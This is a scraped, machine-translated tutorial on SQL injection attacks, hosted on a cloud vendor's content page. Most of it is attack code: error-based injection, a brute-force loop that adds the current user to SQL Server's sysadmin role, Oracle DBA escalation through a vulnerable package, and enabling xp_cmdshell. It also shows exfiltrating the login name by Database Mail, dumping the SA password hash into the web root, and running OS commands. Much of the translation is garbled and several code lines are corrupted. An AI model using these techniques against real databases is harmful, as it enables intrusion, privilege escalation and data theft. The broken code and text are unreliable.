Using SQL injection

Source: Internet
Author: User
Tags bulk insert create directory postgresql file permissions mail account

Inject attack implemented in insert query

1. The idea is to insert the target value information into the page that contains the INSERT statement. Often included is a subquery.

2. Note that in the insert process, the left injection point and the right injection point will have different

3. In MySQL, the priority of the number is higher than the priority of the character, the result of 1+ ' s ' is only displayed 1

4. With this nature, the values of most targets can be obtained with the ASCII function.

Generate Insert Error

1. Fill in the value of the INSERT statement the data that the table does not allow, just this data is the target value that we need, can be viewed in error report.

2. Using the wrong insert to get the target information without contaminating the data

Mysql> Select (select username from userinfo WHERE username= ' Illidan ');

+----------------------------------------------------------+

| (SELECT username from userinfo WHERE username= ' Illidan ') |

+----------------------------------------------------------+

| Illidan |

+----------------------------------------------------------+

1 row in Set (0.00 sec)

Mysql> Select (select username from userinfo WHERE username= ' i ');

+----------------------------------------------------+

| (SELECT username from userinfo WHERE username= ' i ') |

+----------------------------------------------------+

| NULL |

+----------------------------------------------------+

1 row in Set (0.00 sec)

Mysql> Select (select username from userinfo WHERE);

Error 1064 (42000): You have a error in your SQL syntax; Check the manual that

Corresponds to your MySQL server version for the right syntax to use near ') ' at

Line 1

3. The MySQL database, such as the nested query on the internal return of a single value or null can be executed successfully, but the return of multi-value will be an error. But even if an error is made, internal queries will execute successfully. Use this principle to make a lot of judgments with insert.

Select (Select Case is @ @version = ' 5.1.48-community ' then SLEEP (5) ELSE ' Somevalue ' END from ((SELECT ' Valuel ' as Foobar) UNION (SELECT ' value2 ' as Foobar)) (ALIAS);

4. Using RegExp and select to return multivalued queries to generate errors, depending on the conditions, the resulting error is different. Judging the target value, similar to the idea of injection based on error.

Database right to be raised

There are many times when you continue to infiltrate with some advanced features that are hampered by insufficient permissions, such as out-of-band communication, getting the shell, creating modify permissions, and so on. In particular, large Web sites will make a detailed breakdown of database user permissions.

SQL Server database right to be raised

1. View the current database authentication mode, only Windows authentication returns 1, otherwise 0, only the remote power is returned 0 o'clock.

Select SERVERPROPERTY (' isintegratedsecurityonly ')

2. Using OPENROWSET for remote connections in SQL Server

SELECT * from OPENROWSET (' MSDB ', ' network=dbmssocn; addess=localhost:1433;uid=sa;pwd=198226198484 ', ' SELECT * from hacked ')

3. You can use this method to burst the password, when the current connection is not the SA account. After the demolition of the new user to the right to sp_addsrvrolemember ' user ', ' user group ', the stored procedure is located in the master database.

When brute force is cracked, it often accompanies a large number of requests, leaving a large amount of data in the server log. Bobcat refers to someone else in a more advanced way. Using OOB out-of-band communication, obtain a table containing the candidate password, internally and with the password.

5. Pure brute force hack 2-bit password mode. Through OPENROWSET ();

Process:

1. Declaring variables

P: Store to compare the password Z: temporary character storage S: To compare the Code table A, a: two password so two cycle factor corresponds to two loops Q: query statement, in order to not abort the program when the query error, execute the query with Execresultse

2. Program Process

Traversing the worth password of a, B is correct when OPENROWSET is accompanied and the current user is added to the sysadmin group to elevate permissions.

declare @p nvarchar (a), @z nvarchar (ten), @s nvarchar (in the), @a int,@b int,@q nvarchar (4000);

Set @a=1;set @b=1;

Set @s=n ' abcdefghijklmnopqrstuvwxyz0123456789 ';

While @a<37 begin

While @b<37 begin set @p=n ";--Reset candidate password

Set @z=substring (@s,@a,1); set @[email protected][email protected];

Set @q=substring (@s,@b,1); set @[email protected][email protected];

Set @q=n ' Select 1 from OPENROWSET (' DATABASE ', ' network=dbmssocn; address=;uid=sa;pwd= ' [email protected]+n ', ' SELECT 1; EXEC master.dbo.sp_addsrvrolemember ' ' +system_user+n ' ', ' ' sysadmin ', ' and ' ';

exec master.dbo.xp_execresultset @q,n ' master ';

Set

Set @b=1;set @[email protected]+1;end;

The notorious xp_cmdshell on SQL Server can execute DOS commands directly, equivalent to fully mastering the OS,

05 later versions are turned off by default. However, you can use sp_configure to open it. Use Sp_addextendeproc to open in 2000.

exec sp_configure ' show advanced options ', 1

RECONFIGURE

exec sp_configure ' xp_cmdshell ', 1

RECONFIGURE

SQL Server user Management

To view the number of user connections

Select Loginame,count (*) from sysprocesses GROUP by loginame

Create a new user (the first form cannot be logged in)

Sp_addlogin ' Lisa ', ' 198226198484 '

Delete User

Sp_droplogin ' as '

Add user mappings for database test

Use test

Go

Sp_adduser ' as ', ' as '

sp_addrolemember ' db_owner ', ' C1 '

Sqlsever Login User query:

Sys.sql_logins

ms-09-004 Vulnerability

The vulnerability primarily affects SQL Server 2000 and version 2005, which exploits the following steps:

1. Use fingerprint mode (-m fingerprint) to check if xp_cmdshell is available and Server.exe to run with system permissions.

2. Transfer vdmallowed.exe (option 5) and Vdmexploit.dll (option 6) to the remote server using the upload mode (-M upload)

3. Run the%temp%\\vdmallowed.exe SQL execution exploit tool using Command mode (-M command)

2.ORACLE Elevation of privilege

1. Most of the methods of elevation of privilege in Oracle rely on PL/SQL block execution, and a special case is that the Mod_plsql component is filtered to elevate permissions through Xxx?parament=grant+dba+to+public.

(1) Injecting a payload into a vulnerable stored procedure

CREATE OR REPLACE FUNCTION F1 RETURN number

AUTHID current_user as pragma autonomous_transaction;

BEGIN

EXECUTE IMMEDIATE ' GRANT DBA to Public ';

COMMIT;

RETURN 1;

END;

(2) inject into a vulnerable package

exec sys.kupw$worker.main (' x ', ' YY ' and 1=user12.f1-mytag12 ');

(3) Enable DBA

Set role DBA;

(4) revoking a DBA in a public role

Revoke DBA from public;

Out -of-band communication

When data cannot be extracted using normal HTTP, use OOB to get the data. To open up new ideas.

Email

1. sqlsever

SQL mail--2000,2005,2008,

Database mail--2005,2008

Database Mail steps:

1. Turn on mail Service

2. Create a mail account

3. Create a configuration file

4. Connecting accounts and configuration files

5. Send mail

6.--Enable Database Mail

7. exec sp_configure ' show advanced ', 1

8. RECONFIGURE

9. exec sp_configure ' Database Mail XPS ', 1

Ten. RECONFIGURE

--create a new account, MYACC. The SMTP server is provided.

. EXECUTE msdb.dbo.sysmail_add_account_sp

@account_name = ' Myacc ',

@description = ' Test for mail ',

@email_address = ' [email protected] ',

@display_name = ' SQL name ',

@username = ' Qian1.deng ',

@password = ' 19940402 ',

@mailserver_name = ' mail.dhc.com.cn '

20.

--create a new Profile,myprofile

exec msdb.dbo.sysmail_add_profile_sp @profile_name = ' myprofile ', @description =null, @profile_id =null

--bind the account to the profile

EXEC msdb.dbo.sysmail_add_profileaccount_sp @profile_name = ' Myprofile ', @account_name = ' Myacc ', @sequence_number = 1

--retrieve Login

DECLARE @b VARCHAR (8000);

. SELECT @b=system_user;

EXEC msdb.dbo.sp_send_dbmail @profile_name = ' Myprofile ', @recipients = ' [email protected] ', @subject = ' System user ', @ [Email protected];

Sqlser parameters when sending a message

sp_send_dbmail [[@profile_name =] ' profile_name '] configuration file name

[, [@recipients =] ' recipients [; ... n] '] Receiver

[, [@copy_recipients =] ' copy_recipient [; ... n] '] cc

[, [@blind_copy_recipients =] ' blind_copy_recipient [; .... n] ']

[, [@subject =] ' subject '] theme

[, [@body =] ' body '] body

[, [@body_format =] ' Body_format '] format

[, [@importance =] ' importance '] focus

[, [@sensitivity =] ' sensitivity ']

[, [@file_attachments =] ' attachment [; .... n] ']

[, [@query =] ' query '] executes the query statement

[, [@execute_query_database =] ' execute_query_database ']

[, [@attach_query_result_as_file =] attach_query_result_as_file]

[, [@query_attachment_filename =] query_attachment_filename]

[, [@query_result_header =] Query_result_header]

[, [@query_result_width =] query_result_width]

[, [@query_result_separator =] ' query_result_separator ']

[, [@exclude_query_output =] exclude_query_output]

[, [@append_query_error =] Append_query_error]

[, [@query_no_truncate =] query_no_truncate]

[, [@mailitem_id =] mailitem_id] [OUTPUT]

File System

1. SQL Server

2.--Create the required variable

3. DECLARE @a int, @hash varchar (+), @fileid int;

4.--The hash value of the password to extract the SA is deposited into the @hash variable

5. SELECT top 1 @hash =name+ ' | ' +master.dbo.fn_varbintohexstr (Password_hash) from Sys.sql_logins;

6.--Create a file system object pointing to a local file

7. EXEC sp_OACreate ' Scripting.FileSystemObject ', @a out;

8. EXEC sp_OAMethod @a, ' OpenTextFile ', @fileid out, ' c:\inetpub\wwwroot\hash.txt ', 8, 1;

9.--Write the hash variable to the file

EXEC sp_OAMethod @fileid, ' WriteLine ', Null, @hash;

11.--Destruction of two variables

EXEC sp_OADestroy @fileid;

EXEC sp_OADestroy @a;

The above statements must be injected together, which is better for injection points with stacked queries.

Summary: In SQL Server, you know that the return value type of a stored procedure can create the result of the corresponding table store stored procedure. A practical problem is that when the server Web directory and the database are not on a server, even if we know that the server IP is not able to manipulate the database. The database information can be obtained through the following ideas.

If the blinds are the current user is SA or administrator, use the following command to turn on xp_cmdshell

exec sp_configure ' show advanced options ', 1

RECONFIGURE

exec sp_configure ' xp_cmdshell ', 1

RECONFIGURE

After you get the Cmdshell, you can judge the system type.

Win under version to get current system environment variables and versioning information

Linux/etc/issue/proc/version Storage System version data

or unmae-a view kernel version

Create tables and execute xp_cmdshell to get all the data you need.

CREATE TABLE TT (TT nvarchar (500));

INSERT INTO TT exec xp_cmdshell ' ipconfig ';

SELECT * from TT;

2. MySQL

1. Via Load data infile ' file path ' into table fields terminated by ';

Field terminated by specifies what symbols are truncated for each of the fields;

2. You can also read a file directly from the Load_file function to a temporary table

Select Load_file (' path ');

3. If there is a search page, the number of columns has been searched. You can directly read the file system data through the Union by displaying it in the page. There are several prerequisites, the union select after the number of columns, the column name to ensure that the same as the original query. And do not bring NULL in the newly added data, with COUNT (*) to increase the number of columns.

Original SQL statement: SELECT * from userinformation where username like '% "+searchkey+"% '

Post-injection SQL statement: SELECT * from userinformation where username like '%hs ' union select Load_file (' D:\user.txt '), COUNT (*)--w% '

In this way, you need to have read file permissions, if the filter ' character is replaced with 16 binary. You can also use the hex () function of MySQL to read binary files.

Load_file () supports Universal Command Convention UNC

3. SQL Server

Use bulk inset ' table ' from ' URI ' for file access and extract a table to the database.

Bulk Insert UserInfo from ' D:\user.txt ' with (fieldterminator= ', rowterminator= ' \ n ')

If you have file Read permissions, fieldterminator= ' represents the truncation character for each column. Rowterminator= ' \ n ' represents truncation of characters per line.

You can also set codepage= ' RAW ' to upload binary. exe.

You can also parameter: acp,oem,raw,code_page specifies the code page for data in the data file, only if the data contains a character value greater than 127 or less than 32 of Char,varchar, or the text column.

Using the Squeeza tool

SQLSERVER2005 introduces the common language runtime. Clr. Supports c#,.net,c++ for the programmability of the database. The following statement turns on the feature. Use a stacked query to inject this type of statement.

exec sp_configure ' show advanced options ', 1

RECONFIGURE

exec sp_configure ' clr enabled ', 1

Inserting a binary file into the database requires an EXE written in a CLR language.

Create assembly SQD from ' C:\temp\text.exe ' with permission_set=unsafe--

If non-CLR language support requires uploading a CLR before uploading it via the attachment file

ALTER ASSEMBLY SQD add file from ' URI '

4. ORACLE

File read via three interfaces

Utl_file_dir/oracle

Java

Oracle Text

Create directory ext as ' C: \ ';

CREATE TABLE Ext_tab (

ORGANIZATION EXTERNAL (TYPE oracle_loader

DEFAULT DIRECTORY extaccess PARAMETERS (

RECORDS Delimited by NEWLINE

Badfile ' Bad_data.bad '

LOGFILE ' Log_data.log '

Fields TERMINATED by ', '

MISSING FIELD VALUES ARX NULL

REJECT ROWS with all NULL fields

(line))

Location (' victim. TXT ')

)

PARALLEL

REJECT LIMIT 0

nomonitoring;

SELECT * from Ext_tab;

5. Postguresql

1. Using the copy command for file reading

2.

CREATE TABLE temp (varchar (50));

Copy temp from ' D:/user.txt '

SELECT * FROM Temp

Read the file by using the code as above.

Write a file

1. MySQL

When writing files to the file system via MySQL, the syntax is select * into outfile ' uri ' from Tablenames;

This operation requires the MySQL process owner to have write access to the file and cannot wrap the query when it is inserted. You cannot overwrite an existing file. Create file for C drive is not visible.

EXE files can be created in the system by Unhex to the normal 16 binary binary.

Thesis hackproofing MySQL describes how to create a UDF to effectively implement the MySQL xp_cmdshell.

2. SQL Server

This method can only replace the values in the file, and it is possible to create a file when there is no file.

DECLARE @o int,@f int,@t int, @ret int; --declaring variables, o for creating outputs, F for creating files, ret for storing results

DECLARE @line varchar (8000);--Maximum value per row

exec sp_oacreate ' Scripting.FileSystemObject ', @o out;--Create File system object

exec sp_OAMethod @o, ' CreateTextFile ', @f out, ' d:\test.txt ', to create a file and use it as a file system object

EXEC @ret =sp_oamethod @f, ' WriteLine ', NULL, ' Hello word '--write to file

You can also use bcp to create a file from a data source, or you can use the Linux syntax output redirection through xp_cmdshell to achieve the purpose of writing to the file.

3. Oracle

There are several ways that Oracle has the following:

Utl_file

Dbms_advisor

Dbms_xslprocessor

Dbms_xmldom

External table

Java

Operating system commands and redirects

2. Creating files with the DBMS

Create directory EXT as ' C: \ ';

EXEC SYS. Dbms_advisor. Create_file (' First row ', ' EXT ', ' victim.txt ');

4. PostgreSQL

Copy supports not only reading files but also writing files:

Copy (SELECT * from Pg_database) to ' c:/text.txt ';

The method of appeal requires Postgres to read the file permissions. If you manipulate the file system through the injection point, both the Web server and the database are required on one server.

Executing operating system commands

1.mysql

Place the batch file under the startup directory. This is the boot directory under Win7.

Wamp environment, WIN APACHE MYSQL PHP

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\programs\startup\start.bat;

2.sqlserver

Implement system commands through xp_cmdshell implementation.

3.oracle

The main problem in Oracle is how to get DBA authority

Executing operating system commands from the Java library

Execute the query to determine the user's execution of Java

SELECT * from User_java_policy where grantee_name= ' SCOTT ';

Executing operating system commands

SELECT Dbms_java. Runjava (' Oracle/aurora/util/wrapper c:\\windows\\system32\\cmd.exe/c ' dir>c:\\out. LST) from DUAL

4.postgreSQL

Call the UDF (user-defined function) to execute the OS command. Place the UDF in any location where PostgreSQL has read and write permissions. Linux is typically placed under/TMP and Windows is under the C:\Windows\Temp directory.

Get the shell through Sqlmap.

Using SQL injection

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.